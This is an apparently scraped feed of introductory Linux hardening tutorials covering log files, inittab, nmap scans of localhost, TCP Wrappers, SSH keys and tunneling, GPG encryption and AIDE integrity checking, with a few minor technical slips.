Quantcast
Channel: Linux Security
Viewing all 38 articles
Browse latest View live

Step 1

$
0
0

 We will start to navigate Linux security from zero
how to protect your system from unauthorized users, and how to monitoring your Linux system (demons, ports, processes and services installed on your machine)

First
Read log Files
when i log-in to my system i have to read two important files (boot.log and dmesg.log)

These files show me boot sequence and booting hardware such as hard disk and network adapter ,and if there any problem in booting operation.

log files located in /var/log

reading dmesg file by command

cat /var/log/dmesg

? so what to check in this file

  • check kernel version and compare it with your kernel version

when you look at dmesg file you will see something like that (Linux version 2.6.32-5-686 Debian 2.6.32-31)

and by comparing it with your kernel number from command  uname -a and output will be (Linux rsht 2.6.32-5-686 )

so it's the same version of kernel

  • check your memory and CPU from dmesg file and compare it with your resources

Common Linux log files name and usage

/var/log/message: General message and system related stuff

/var/log/auth.log: Authenication logs

/var/log/kern.log: Kernel logs

/var/log/cron.log: Crond logs (cron job)

/var/log/maillog: Mail server logs

/var/log/qmail/ : Qmail log directory (more files inside this directory)

/var/log/httpd/: Apache access and error logs directory

/var/log/lighttpd: Lighttpd access and error logs directory

/var/log/boot.log : System boot log

/var/log/mysqld.log: MySQL database server log file

/var/log/secure: Authentication log

/var/log/utmp or /var/log/wtmp : Login records file

/var/log/yum.log : Yum log files

second 
check your mounted driver by using command 
df -h

now
Let's start with securing,
booting of Linux is passing through many levels or stages

Bios---->grub boot---->kernel(initializes hardware)----->init
 
init is the first program run after kernel it do the following:

1- Start up system run level

2- Specify processes to be executed during system boot

3- Specify processes to be run when the specified run-level is entered

4- Specify processes to be run on certain run-levels with actions like respawn so the process is restarted any time it terminates

5- Specify certain actions or processes to be run if certain signals or user actions are indicated

These program read and apply configuration from /etc/inittab

for more information (http://linux.die.net/man/8/init or by command man 8 init)

when we look at it's configuration file (/etc/inittab) it's look like

# Author:       Miquel van Smoorenburg, 
# Modified for RHS Linux by Marc Ewing and Donnie Barnes

id:3:initdefault:

# System initialization.
si::sysinit:/etc/rc.d/rc.sysinit

l0:0:wait:/etc/rc.d/rc 0
l1:1:wait:/etc/rc.d/rc 1
l2:2:wait:/etc/rc.d/rc 2
l3:3:wait:/etc/rc.d/rc 3
l4:4:wait:/etc/rc.d/rc 4
l5:5:wait:/etc/rc.d/rc 5
l6:6:wait:/etc/rc.d/rc 6

# Things to run in every runlevel.
ud::once:/sbin/update

# Trap CTRL-ALT-DELETE
ca::ctrlaltdel:/sbin/shutdown -t3 -r now

# When our UPS tells us power has failed, schedule a shutdown for 2 minutes from now.
pf::powerfail:/sbin/shutdown -f -h+2 "Power Failure; System Shutting Down"

# If power was restored before the shutdown kicked in, cancel it.
pr:12345:powerokwait:/sbin/shutdown -c "Power Restored; Shutdown Canceled"

# Run gettys in standard runlevels
1:2345:respawn:/sbin/mingetty tty1
2:2345:respawn:/sbin/mingetty tty2
3:2345:respawn:/sbin/mingetty tty3
4:2345:respawn:/sbin/mingetty tty4
5:2345:respawn:/sbin/mingetty tty5
6:2345:respawn:/sbin/mingetty tty6

# Run xdm in runlevel 5
x:5:respawn:/etc/X11/prefdm -nodaemon 
 


now we have to do the following:



1- reduce number of TTYs it's ,take resources (by putting # before every TTY) 
just leave in that you may need it in emergency



1:2345:respawn:/sbin/getty 38400 tty1


#2:23:respawn:/sbin/getty 38400 tty2


#3:23:respawn:/sbin/getty 38400 tty3


#4:23:respawn:/sbin/getty 38400 tty4


#5:23:respawn:/sbin/getty 38400 tty5

#6:23:respawn:/sbin/getty 38400 tty6


2- defualt run-level from 3 to 5 (usefewer resources and graphical TCP X windows)




3- Disable ctl+alt+delete 
(by putting # before ca:12345:ctrlaltdel:/sbin/shutdown -t1-a -r now)



# What to do when CTRL-ALT-DEL is
pressed.


#ca:12345:ctrlaltdel:/sbin/shutdown -t1-a -r now

 


There are more options to encrypt your boot operation



1- use strong password on bios


2- encrypt your grub file by using command grub-md5-crypt,
for more information (man grub-md5-crypt)
3- use a very strong password for root


4- don't access to the system by root or privileged user

 
Now we have to change some files to hide information about my OS ,it's called (banner implementation)

use command cat /etc/issue will print information about your OS such as (Debian GNU/Linux 6.0 \n \l)

and cat /etc/motd also will print important information about your OS, so now we have to change information in these files to hide these information by editing it with any you want.

The different between issue and motd is issue print it's value before you log-in and motd after you log-in




we must disable root to access via ssh by editing it's configuration file 
(/etc/ssh/sshd_config)by set permit root log-on to no


 





NMAP 1

$
0
0
NMAP 1

nmap or Network Mapper ,it's a security scanner ,used to (scan ports , OS fingerprinting ,banners and others ) in range of network or a specific machine .
it's written by Faydor
Now we want to use this program to scan our system to know what banners will shown to attacker , and open ports that is not useful to my system and i have to close it or shutdown these services that works on these ports .
1 - installation:
you can download it from nmap

2- some explanation :

when i write command nmap it will show a lot of options or (techniques) ,

will explain with the most commonly used techniques.

-sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans

-sU: UDP Scan

-sN/sF/sX: TCP Null, FIN, and Xmas scans

--scanflags <flags>: Customize TCP scan flags

-sI <zombie host[:probeport]>: Idle scan

-sY/sZ: SCTP INIT/COOKIE-ECHO scans

-sO: IP protocol scan

-b <FTP relay host>: FTP bounce scan

-------------
-sS

it's TCP SYN the default scanning operation and it's fast and can scan larg range of ports in seconds

it's scan TCP ports by making half open connection (when pc1 want to connect with pc2 by TCP port by three hand shake ,it's occur by sequence 1- pc1 send SYN packet 2- pc2 send SYN/ACK packet 3- pc3 send ACK packet) this called three hand shake , so in half open connection there is no ACK packet

it's more safe and stealthy

-sT

it's TCP connect() , it's also scan TCP ports but with complete three hand shake , it's establish a connection between client and server , it's not stealthy and may be scan operation is logging (because it's establish a connection )

-sU

used to scan UDP ports .

-sY

(Stream Control Transmission Protocol) it's combining most characteristics of TCP and UDP protocols

it's equivalent to TCP SYN scanning (make half open connection)





3- usage :
simply by command nmap -technique ip address or host name

for example: nmap -sS localhost
let's apply this command nmap -sS localhost   
result:

Starting Nmap 5.00 ( http://nmap.org ) at 2011-06-26 02:25 EEST
Interesting ports on example (127.0.0.1):
Not shown: 997 closed ports
PORT     STATE SERVICE
111/tcp  open  rpcbind
631/tcp  open  ipp

Nmap done: 1 IP address (1 host up) scanned in 1.22 seconds

 
it's mean i have just two ports open (111 and 631) services (rpcbind and ipp)
 
 and by applying nmap -sU localhost   
result:

Starting Nmap 5.00 ( http://nmap.org ) at 2011-06-26 02:43 EEST
Interesting ports on example (127.0.0.1):
Not shown: 997 closed ports
PORT     STATE         SERVICE
111/udp  open|filtered rpcbind
631/udp  open|filtered ipp
5353/udp open|filtered zeroconf

Nmap done: 1 IP address (1 host up) scanned in 2.47 seconds



now i have three UDP ports open but filtered (by firewall)
and close unused ports and services will discuss later

now we have addition features :
  •  OS detection : used to detect OS 
         by using command nmap -O ip address or host name
  • Service and Version Detection :used to detect services name and version of demons that runs on these services

    by using commandnmap -sV ip address or host name

  • detect both OS  and Service and Version :

    by using commandnmap -A ip address or host name


NMAP 2

$
0
0
NMAP 2

Let's try using nmap to scan and how to use it to lockdown and stop unused services (may attacker used this services to attack by exploiting these services )



by using command nmap -sS localhost to scanning my computer
result :

Starting Nmap 5.00 ( http://nmap.org ) at 2011-06-28 00:51 EEST
Interesting ports on example (127.0.0.1):
Not shown: 996 closed ports
PORT     STATE SERVICE
25/tcp   open  smtp
111/tcp  open  rpcbind
631/tcp  open  ipp
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 0.14 seconds

we see here 4 ports we 4 services on my computer
want to get more information about these services 
 1- SMTP using port 25 if it not use on your computer ,shut it down by stopping it's daemon(exim4 or postfix) by command /etc/init.d/postfix stop

let's start scanning again nmap -sS localhost
result :

Starting Nmap 5.00 ( http://nmap.org ) at 2011-06-28 00:51 EEST
Interesting ports on example (127.0.0.1):
Not shown: 996 closed ports
PORT     STATE SERVICE
111/tcp  open  rpcbind
631/tcp  open  ipp
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 0.14 seconds



SMTP it gone


2- rpcbind 
let's see what is that 

/etc/services | grep 111
result :

sunrpc        111/tcp        portmapper    # RPC 4.0 portmapper
sunrpc        111/udp        portmapper 

 and try another netstat -ntlp | grep 111
result :

tcp        0      0 0.0.0.0:111             0.0.0.0:*               LISTEN      2419/portmap

"LISTEN" it's active and waiting ,so let's stop portmap daemon
/etc/init.d/portmap stop 

scanning again  nmap -sS localhost
result :
 
Starting Nmap 5.00 ( http://nmap.org ) at 2011-06-28 00:51 EEST
Interesting ports on example (127.0.0.1):
Not shown: 996 closed ports
PORT     STATE SERVICE
631/tcp  open  ipp
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 0.14 seconds  

 portmap is gone too 

3- ipp

cat /etc/services | grep 631
result :

ipp        631/tcp                # Internet Printing Protocol
ipp        631/udp
 
and try another netstat -ntlp | grep 631
result :

tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      1197/cupsd   

 "LISTEN" it's activated ,let's shut it down 
/etc/init.d/cups stop


scanning again nmap -sS localhost
result:


Starting Nmap 5.00 ( http://nmap.org ) at 2011-06-28 00:51 EEST
Interesting ports on example (127.0.0.1):
Not shown: 996 closed ports
PORT     STATE SERVICE
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 0.14 seconds   

it's better now (if you want to shutdown HTTP, just shut down it's daemon "apache") 

hint: 
i used here /etc/init.d/  to stop and start daemons , another distro of linux may be different such as redhat or centos (/sbin/service httpd start) to start apache server or (http) .

TCP Wrapper

$
0
0

TCP Wrapper

inetd : it’s daemon listens on specific ports such as (telnet 23 , ftp 21), when it receive a packet ,it's lunches the appropriate program to handle the connection.

Xinetd : it's make the same work , but with more security such as (TCP Wrapper).

TCP Wrapper : it's supports TCP/IP security by using (Access Control List) , it's work with Xinetd to support security for some connections such as (telnet or ftp , even SSH).

when you want to connect to telnet (in.telnetd) , Xinetd consulting TCP Wrapper if this connection is allowed or not.

TCP Wrappers consist of :

1-hosts.allow and hosts.deny files.
2-tcpdmatch : program explain how the TCP Wrapper would handle a specific request.
3-tcpdchk : TCP wrapper configuration checker program.

How it works :

when i want to connect to telnet server (in.telnetd)
1- parse hosts.allow to apply rules on telnet service ,if it found it's allow connection , else , it's moves to step 2.
2- parse hosts.deny to apply rules  on telnet service ,if it found it's deny connection.
3- if no matching in hosts.allow or hosts.deny ,it's grant access.

Securing TCP:

  • TO allow hosts to access by adding rule in hosts.allow ,for example to allow 192.168.0.150 to access my telnet server 
Edit my hosts.allow

nano /etc/hosts.allow

and add rule to allow 192.168.0.150 to access my telnet server

in.telnetd : 192.168.0.150

  • To deny hosts to access my telnet server,by adding rule in hosts.deny,for example if i want deny 192.168.0.160 to access my telnet 

Edit my hosts.deny

nano /etc/hosts.deny

and add rule to deny 192.168.0.160 to access my telnet server

in.telnetd : 192.168.0.160

hint 1: to add more then one address just separate between addresses with space.

in.telnetd : 192.168.0.160 192.168.0.161 192.168.0.162

hint 2: no need to restart or reload any daemons after editing hosts.allow or hosts.deny.

hint 3: to allow all network to access 

in.telnetd : 192.168.0.

or

in.telnetd : 192.168.0.0/255.255.255.0

SSH 1

$
0
0
SSH 1

SSH (secure shell) :used for making encrypted connection between 2 computers by using a secure Channel between these computers for (remote access, copying files, etc.. ).

SSH is based on client server model:
  • server (SSHD)
  • clients (scp,sftp,ssh)


Why SSH: 
SSH with it's sub-system (scp , sftp ) is instead of (telnet , ftp , rcp ), and protocols that run these program are unsecured.
Telnet for example use unsecured channel to connect with another computer , so , man in the middle attack can intercept telnet messages and can get sensitive information such as (user name and password) .
you can try it , use telnet to connect to another computer in your network then use a sniffer program such as (wire shark or TCP dump)you will see every message between computers.
So , we using ssh to securing connections and can copy files and sending commands between networks securely .
SSH uses asymmetric key mechanism to authenticate and securing the connection .
asymmetric key or public-key cryptography mechanism:
It's consist of two pairs of keys , public key and private key.

  • sender side:
public key use to encrypt message to send it.

  • receiver side:
private key use to decrypt encrypted message.

This mechanism is uses in SSH

 
  • SSH generates public and private keys
by applying a command ssh-keygen
  • keys located in ~/.ssh/
id_rsa ---> private key (must keep secured).
id_rsa.pub ---> public key and can copy to another computer to connect with SSH server (SSHD).

  • public key can be copied to another computer by using command ssh-copy-id
known_hosts ---> file contains public keys which this computer use it to connect with another ssh server (SSHD) and not a public key.

SSH also contains sub-systems (scp , sftp )
  • scp use to copy a file in a secure channel (secured by ssh).
  • sftp use instead of ftp to transfare file between 2 computers securely.

SSH 2

$
0
0
SSH 2


Configuring SSH :

  •   generate keys by command ssh-keygen -t rsa
    And then follow the default configuration

Generating public/private rsa key pair.
Enter file in which to save the key (/home/example/.ssh/id_rsa):
Created directory '/home/example/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/example/.ssh/id_rsa.
Your public key has been saved in /home/example/.ssh/id_rsa.pub.
The key fingerprint is:
5e:3f:6f:57:42:d0:b2:f5:aa:98:53:0f:20:5d:b0:2a example@example

it will generates 2 files in ~/.ssh (id_rsa and id_rsa.pub)

id_rsa : it's a private key ,should be protected.
id_rsa.pub : it's a public key .


  • installing public key
you can use command ssh-copy-id  to copy public key to another computer , or you can also use scp to copy public key.

  • server trust client
if server trust client to access to SSH server without password (password-less log-in)  .

1-server copy client's public key to ~/.ssh/ (ssh-copy-id or scp).
2-change public key name into authorized_keys.
3- change it's permission into 600 (chmod 600 authorized_keys).

  • x11 session forwarding
To allow to run some X window programs such as (Firefox) on a remote computer.



edit sshd_config : nano /etc/ssh/sshd_config 
and check these option :
X11Forwarding yes 
X11DisplayOffset 10 
X11UseLocalhost yes 

Then connect to remote computer by command:
ssh -X username@server



Securing SSH :
  • don't allow root log-in 
edit sshd_config nano/etc/ssh/sshd_config , you will find #PermitRootLogin yes
remove # and change value into no PermitRootLogin no 


  • ByTCP Wrapper
Add SSHD to TCP Wrapper to allow and deny hosts to connect to SSHD 
edit /etc/hosts.allow or  /etc/hosts.deny
for example
to deny host 192.168.0.132 to connect to SSH server

nano /etc/hosts.deny

sshd : 192.168.0.132

SSH 3

$
0
0
SSH 3 (Port Forwarding)

SSH Port Forwarding or SSH tunneling allow to establish SSH session (secured connection) , And then making TCP connection (unsecured connection) inside the tunnel or through it .
it's used for securing unsecured connection.




  • Local Port Forwarding :

To understand port forwarding let's see examples
when i want to access my mail client via pop (post office protocol) port : 110 , so , to secure this connection , i should first establish SSH session , and then make a normal TCP connection through this channel
1- establish SSH session
ssh -L 10000:localhost:110 user@mailserver.com
after authentication with any method (password or public key) we established SSH session
let's describe this command
-L : local forwarding
10000 : local port or local socket that connection will out to server , here SSH bind 10000 to loopback (127.0.0.1)
110 : remote port
mailserver.com: server that ssh connect with

2- making TCP connection through SSH channel
 in a separate shell window apply
telnet localhost 10000

we making SSH session and and bind port 10000 to loopback, now to make a connection through SSH channel by command telnet localhost 10000 , it's normal and unsecured ,but it's inside a secure channel
client send a message through port 10000 inside SSH channel and server deliver it to port 110


Another example:

when i have on my server telnet service , and to improve telnet security , I disabled to receive connections from any computer (just loopback)
by editing /etc/xinetd.d/telnet , And add bind = 127.0.0.1
when i try to connect to telnet from remote computer telnet 192.168.0.200 23
result:
telnet: connect to address 192.168.0.200: Connection refused
telnet: Unable to connect to remote host: Connection refused


we here can access telnet via SSH tunnel from client
ssh -L 9999:127.0.0.1:23 192.168.0.20

and from client again and in a separate shell window
telnet localhost 9999

it will connect ,now i make a secure connection between client and server (telnet) although ,telnet is not a secure connection.
it's can also apply on any unsecured connection such as FTP

FTP connection will be secured inside SSH channel


  • Remote Port Forwarding :

In Local Port Forwarding i started the session from client to server , but in Remote Port Forwarding is opposite , The session will start from the server and then go to the client.

Example :
when i want to connect SSH server (internal) IP192.168.0.20 but the server is behind a firewall ,so client (external) can't access .



To access we make revers Tunnel or Remote Port Forwarding ,
1- Establish the SSH session from the server by command
ssh -R 9999:localhost:22 192.168.0.20

2-Make SSH connection through SSH tunnel
ssh -p 9999 localhost

we here make the SSH session from the server to the client (revers) , and the client access via tunnel to SSH ,because client can't make the SSH session because of the firewall.

Hint 1: To see SSH Port Forwarding debug by useing -v option ,for example:
ssh -v -L 9999:127.0.0.1:23 192.168.0.20 
Hint 2: When destination host in not localhost this mean the connection is not fully encrypted
for example :
ssh -L 9999:192.168.0.25:23 192.168.0.20
this mean the connection between client and 192.168.0.20 is encrypted , but between 192.168.0.20 and 192.168.0.25 will not encrypted


client connect to 192.168.0.20 via SSH connection (encrypted) , and 192.168.0.20 deliver the messages from client to 192.168.0.25 through port 25 via telnet (not encrypted) and we have here another use of SSH Port Forwarding , You can connect to server that provide a service Via SSH server .

GPG 1

$
0
0

GNU Privacy guard 

 

GNU Privacy Guard (GPG/PGP) use for encrypting messages by using PKI or asymmetric key.



Asymmetric key mechanism uses public and private key


  • sender side:
public key use to encrypt message to send it.

  • receiver side:
private key use to decrypt encrypted message.

  • Owner of the keys can exchange public key with others , and then they send back encrypted messages again to the owner (message encrypt by public key and decrypt by private key), and as usual private key must be secured well.
  • GPG is CLI program (command line interface) and there are GUI program such as Seahorse .
  • GPG used for encrypt messages ,ASCII files,verification.

  • Using GPG 
Generate public and private key:
by command gpg --gen-key
result:

This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. 

Please select what kind of key you want:
   (1) RSA and RSA (default)
   (2) DSA and Elgamal
   (3) DSA (sign only)
   (4) RSA (sign only)
Your selection?

now hit enter to specify the default 
result:

RSA keys may be between 1024 and 4096 bits long.
What keysize do you want? (2048)

hit enter again to specify the default
result:

Requested keysize is 2048 bits
Please specify how long the key should be valid.
         0 = key does not expire
      <n>  = key expires in n days
      <n>w = key expires in n weeks
      <n>m = key expires in n months
      <n>y = key expires in n year

you can specify expire date , hit enter to chose key does not expire.
result:

Key does not expire at all
Is this correct? (y/N)

Hit y .
result:

You need a user ID to identify your key; the software constructs the user ID
from the Real Name, Comment and Email Address in this form:
    "Heinrich Heine (Der Dichter) <heinrichh@duesseldorf.de>"

Real name:

Now enter you real name and hit enter , And then
Email address:
Now enter your e-mail address
And then hit enter for comment
result:

You selected this USER-ID:
    "example <example@example.com>"

Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? 

Enter o to continue or (N , C , E ) to change your data

You need a Passphrase to protect your secret key.
Enter passphrase:

if you wan to to use a password for your keys (if you wan to, ,just enter the password and then . if you don't just hit enter).

Repeat passphrase:

repeat the password or hit enter again
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.

and GNU start to generate keys , (hit random keys and move mouse to improve generating public and private key ).

let's navigate GPG file
cd ~/.gnupg/
there are two important files
secring.gpg ---> private key
pubring.gpg ---> public key

And now you can exchange your public key (pubring.gpg) with others to send you encrypted messages...

to see your keys use command gpg --list-key
result:

pub   2048R/55728FBB 2010-11-20
uid                  example <example@example.com>
sub   2048R/5A5F62F0 2010-11-20

55728FBB ID of public key ,ID is a unique and use to specify the recipient or the owner of private key that match public key.

GPG 2

$
0
0
GNU Privacy guard 2

  •  Encryption and Decryption
We now try to encrypt messages or text file by using GPG , For Example i have a file (example.txt) contain

Testing GPG encryption 
1 2 3 4 5 6 7 8 9 10
11 12 13 14 15 16 17 18 19 20

i will encrypt it with my public key ,let's list our keys by command gpg --list-key

pub   2048R/55728FBB 2010-11-20
uid                  example <example@example.com>
sub   2048R/5A5F62F0 2010-11-20

we will encrypt example.txt with my public key (so just me who can decrypt this file because i have the private key that match this public key)
the slandered command gpg -option -r (ID of recipient) file to be encrypt 
55728FBB --> ID of my public key
let's encrypt gpg -- encrypt -r 55728FBB example.txt
it will generate new file (example.txt.gpg)
to decrypt .gpg files
gpg --decrypt example.txt.gpg

user: "example <example@example.com>"
2048-bit RSA key, ID B7512E52, created 2011-07-20 (main key ID
55728FBB)
 
gpg: encrypted with 2048-bit RSA key, ID 5A5F62F0, created 2011-07-20
      "example <example@example.com>"
Testing GPG encryption
1 2 3 4 5 6 7 8 9 10
11 12 13 14 15 16 17 18 19 20

  • Armor option (Encryption and Decryption)
let's improve encryption by using armor option to generate ASCII armored file

gpg -ea
-r 55728FBB example.txt
will generate example.txt,asc file
let's see the contents of this file  
cat example.txt.asc
-----BEGIN PGP MESSAGE-----
Version: GnuPG v2.0.14 (GNU/Linux)

hQEMA9gg9Pa3US5SAQf/Tkra15Cvy6AV7L8BW0s13Z9MKbzGy6f6pa2YrbQA7KUM
A+uEP+zWXt8R53Qe5CJj11uIuVNQ03GhZ7RJCPwQoaMTWdnAtjRUlFLILH/8EEDj
NUc8TE/KVwUEMFTV27dt3Gsb8f9yWWLOSM8if9akhvIy3/Ahgad8PuzfGpuN0O5L
y8vrytGoBI7dv3tKzTpJ0kK+Phrlt4aVXXt3zTh9ULQaI9TLJazbP1KvhfnzagCI
sMsSRfS7oxLcljWkr6KhDblMy3DHAZDi7AUsTlMScBcuJo/81l2xgqcxST9tbyA0
OkR1EnrCwV5ofTp5bNZc959kb4Z7ePG+BFnS4AwQkdKLAR+vUtASXYNUs/2Uq2/5
JVj64hZbOVyxIAJWyGYcl2ikwA7xHnNhGevACZlCyaKrAk5CjqmaNDMmQuvZJoLv
pKLjE2k24/kxyxR4GcTY+jx++Ke6YnOEJFFZbDlsJ/VltFSh3VkAY/opM80i2b8Q
ny+SaC8Ki3RKV8o1P0FyPmDS6G767ei2O5QrZQ==
=Yq4y
-----END PGP MESSAGE-----

it's the encrypted file 
gpg -e example.txt.asc
or you can save output in a file by using -o option
gpg -o example2.txt -d example.txt.asc
  • Import and Export
Now, how to export my public key (in armor form) to allow others to add my public key to send me encrypted files gpg --export -a -o output file
for example gpg --export -a -o hamza.pub-key
cat hamza.pub-key

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v2.0.14 (GNU/Linux)

mQENBE4m7kMBCACtNn36aL5sxaS9KCWoZjkkWGKQWu1ik1CjC1CTfQBfQIwJM77L
B0qDjK7lg7ts+LDpJ03O3cNrcLHWpWiwMiOkg3j2kjEXQYvBRDwJXpRInWsOMt+x
KdDXcm650V00VNQdAtTLONF61ZPRGZTs4vKzqK0TjB5v0QF8tpsb+2KhVYZ8CLs/
xl4PWuTAh/LPurA32QNCKP3KhWm0z/ZGjCdGp2vbrFQJdd00j4Y8MjqeOm4BLFxc
xeDc4843yLYHymudzYAyQ0n64s9D5MP+eTIjZsQMeIUBlVH5yYFZO8UmyYpBBOCB
DEAdSOv9iZgdwJlKEO1sE6xfFIKT31YoqDPFABEBAAG0HWV4YW1wbGUgPGV4YW1w
bGVAZXhhbXBsZS5jb20+iQE4BBMBAgAiBQJOJu5DAhsDBgsJCAcDAgYVCAIJCgsE
FgIDAQIeAQIXgAAKCRD1GTv8yJYDoaTUB/46J4ADDrIWxfLCcGio/FJpnCMSbcIx
hyEHXrz0OyLi4yLbwnwu8sfI0rebCEkqNteCm7rbawmhXNLLTQxR6kBiw/36rFSG
C2RZoF3LGPkTPNikykHqvfJpPUHGBBcy0YBCyiwJ6gYPXBRqyt+Hbq2fZkqYfWo3
CVSsVCZXwkRbcP3/nZU+UFwYtGyiw5C1ZwIuCYIs5/0zED33mq0dMaPBgYV4VJ5W
+SlBRBheYqvQZMrmppdoYQN+Y5921PrKhrAxofFunYuz7qYIQhJhXK4ir61RcIz1
mWFXcbVhKJ7TpJ7dtKx+7sjUS27jnbv09Rw3GJNguk6yASFZcQn3oOveuQENBE4m
7kMBCACxKf+lgfDCpHmCMHW9+Va4j1/8/ykyfTZ6lqvL9Nc8o4PPqnN7+FwZpgVW
CrPgcP9FwUZDPpEbc3ZLFTcJ4SXX7wmd5ttjT9JKKfeOV+WpIsazSlvE4it8spMt
a0EYCP/yoFuSXcCv9YFB285ZrDC/ylCzil92SSBqLqQLp+Kpc2944A91BRE9TV9Q
brDTGYwmREBd1OXCZzbUUbpSNcAjtySmeUHBwBXkNdYPDRMbiWIyaJxVfvEss0NI
GCDhLUZHY/BsOv/s7QFknKQ9LRwEpkf+7FaA3qze27vw0D0cw5SCwNo+lrVD6cy5
NKzl4rEjOelaumrdWhWAnmdp5u+3ABEBAAGJAR8EGAECAAkFAk4m7kMCGwwACgkQ
9Rk7/MiWA6Ez0wf+PR2qWxxdPC5vbAkyRAQ85jedPCmXGEaQBNjWmBIOmWQ2rmdE
36Wtv1khqiNNMzjVejJoGchlMiO1/Rzeo0pVfKncWDvqYDJqNnCyo8sMtowPrHqq
nFY900GcNhmZQz42wVyaWrSN4oGfhwjTHmGGuMqXzEIlVdZL9FO5rL76801Y0WzF
H4wJ+TuhLfEfvzCMUVX4Ew9vmaje3ZK3crOjT5CDK6uRdt3IRmulHugva+8zbSu2
GXN+hv8pZmXhqyU6MQ+pkXQPcXKLwnI0TCHKN6b3E2KuBtSeYukerexYDV9ZAI7A
aRMJ3dFlvQsWEvtZreruzGvZmide26dUtruhVA==
=uaNC
-----END PGP PUBLIC KEY BLOCK-----

Now i can send this file to anyone to send me encrypted message.
To import anyone public key to send to him encrypted message or to verify
gpg --import (public key file name)
gpg --import hamza.pub-key

  • Signing and Encryption
Signing is different from encryption , It's used to prove the authenticity, Signing is created from private key of the sender (signer) and signature is verification by using the sender public key.
We using signing to verify that we receiving  from trusted person .
 To make a good signing , The sender and receiver should increase level of trust for each one public key .
For example:
I want to send encrypted file with signing to Debian server , To make a good signing , I should increase level of trust of Debian's public key , and Debian should do the same of my my public key .
So , How now to increase the level of trust 
If i import a public key of another computer on my network 
and list my keys gpg --list-key
pub   2048R/55728FBB 2010-11-20
uid                  example <example@example.com>
sub   2048R/5A5F62F0 2010-11-20


pub   2048R/AC5A8F7A 2011-03-20
uid                  example2 <example2@example.com>
sub   2048R/A85BBC19 2011-03-20

To increase level of trust of example2 on my compuet and run 
gpg --edit-key AC5A8F7A
gpg (GnuPG) 2.0.14; Copyright (C) 2009 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

pub  2048R/AC5A8F7A  created: 2011-03-20  expires: never       usage: SC 
                     trust: undefined     validity: unknown
sub  2048R/A85BBC19  created: 2011-03-20  expires: never       usage: E  
[ unknown] (1). example2 <example2@example.com>

Command>

Write trust (if you want more options enter help)
Please decide how far you trust this user to correctly verify other users' keys
(by looking at passports, checking fingerprints from different sources, etc.)

  1 = I don't know or won't say
  2 = I do NOT trust
  3 = I trust marginally
  4 = I trust fully
  5 = I trust ultimately
  m = back to the main menu

Your decision? 
now i chose 5 I trust ultimately, Then Enter quit .Now you trust this public key , To make sure  
gpg --edit-key AC5A8F7A
gpg (GnuPG) 2.0.14; Copyright (C) 2009 Free Software Foundation, Inc.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

pub  2048R/AC5A8F7A  created: 2011-03-20  expires: never       usage: SC 
                     trust: ultimate      validity: ultimate
sub  2048R/A85BBC19  created: 2011-03-20  expires: never       usage: E  
[ultimate] (1). example2 <example2@example.com>

On a remote machine should do the same to my public key.
now on the remote machine : How to encrypt and sign a file(example.txt) to me
gpg -sea -r 55728FBB example2.txt  ,will generate example2.txt.asc
Then he send it to me , To decrypt this file ,GPG will tell me if it a good signing or not .
gpg -o example2.output.txt -d example2.txt.asc
user: "example <example@example.com>"
2048-bit RSA key, ID B7512E52, created 2011-03-20 (main key ID AC5A8F7A)

gpg: encrypted with 2048-bit RSA key, ID A85BBC19, created 2011-03-20
gpg: Signature made Thu 21 March 2011 01:30:39 AM EET using RSA key ID 55728FBB
gpg: Good signature from "example2 <example2@example.com>"

We notice here Good signature 
  • Detach Signature
  We use it to sure that encrypted file meet the sender public key 
To generate  verifying file for our file (example.txt.asc) received from example2
gpg -b example.txt.asc , will generate (example.txt.asc.sig)
To verifying a encrypted file 
gpg --verify example.txt.asc.sig example.txt.asc
gpg: Signature made Thu 21 Jul 2011 02:04:46 AM EET using RSA key ID AC5A8F7A
gpg: Good signature from "example2 <example2@example.com>"

We notice again Good signature.
Hint1: to encrypt in armor form directly by command
gpg -ea -r (ID of public key of receiver) (file to encrypt)
Hint2:to encrypt in armor form with signing
gpg -sea -r (ID of public key of receiver) (file to encrypt)
Hint3:to verify downloaded file 
1- import public key 
2- Download the file 
3- Download signature file (.sig)
4- increase lever of trust gpg --edit-key (ID of public key to increase trust)
5- check verification gpg --verify (file.sig) (downloaded file)

File Integrity Check

$
0
0
File Integrity Check

We will use a program to check integrity to ensure that all my system files contain the right files and to ensure that i don't have back-doors (rootkit) and check changes in permissions,access time,inode modifying time ..etc.

AIDE (Advanced Intrusion Detection Environment)
This program use to check integrity of system files and create data base contains files information and i can reuse this data base to verify integrity on these files.

  • Installation:

1- install mhash latest version is mhash-0.9.9.9

tar -zxvf mhash-0.9.9.9.tar.gz
cd mhash-0.9.9.9
./configure
make
make install

2- install aide latest version is aide-0.15.1

tar -zxvf aide-0.15.1.tar.gz
cd aide-0.15.1
./configure
make
make install

  • Configuration:

you will find aide.conf in aide-0.15.1/doc/
1- uncomment this line
database=file:/home/example/aide.db.new
this line to specify the location of data base .
2- add files you want to save it's details and check it's integrity ,
for example : if i want to check etc file 
add /etc R in aide.conf 
save your changes and copy configuration file to your home directory 
  • Create  data base :
by command aide  -c  aide.conf  --init (on /etc file)
AIDE, version 0.15.1

### AIDE database at aide.db.new initialized.

now it's create a file in my home directory aide.db.new
now you can save three files on CD (aide binary , aide.conf , aide.db.new)
 
Now let's test 
i will change in a configuration file located in /etc such as hosts
nano /etc/hosts 
# Do not remove the following line, or various programs
# that require network functionality will fail.
127.0.0.1 example localhost.localdomain localhost
::1
I will add this line 
# 127.0.0.1 localhost 
now let's check integrity on /etc file
aide -c aide.conf  --check
AIDE 0.15.1 found differences between database and filesystem!!
Start timestamp: 2011-08-08 08:51:40

Summary:
  Total number of files:        2486
  Added files:                  0
  Removed files:                0
  Changed files:                2


---------------------------------------------------
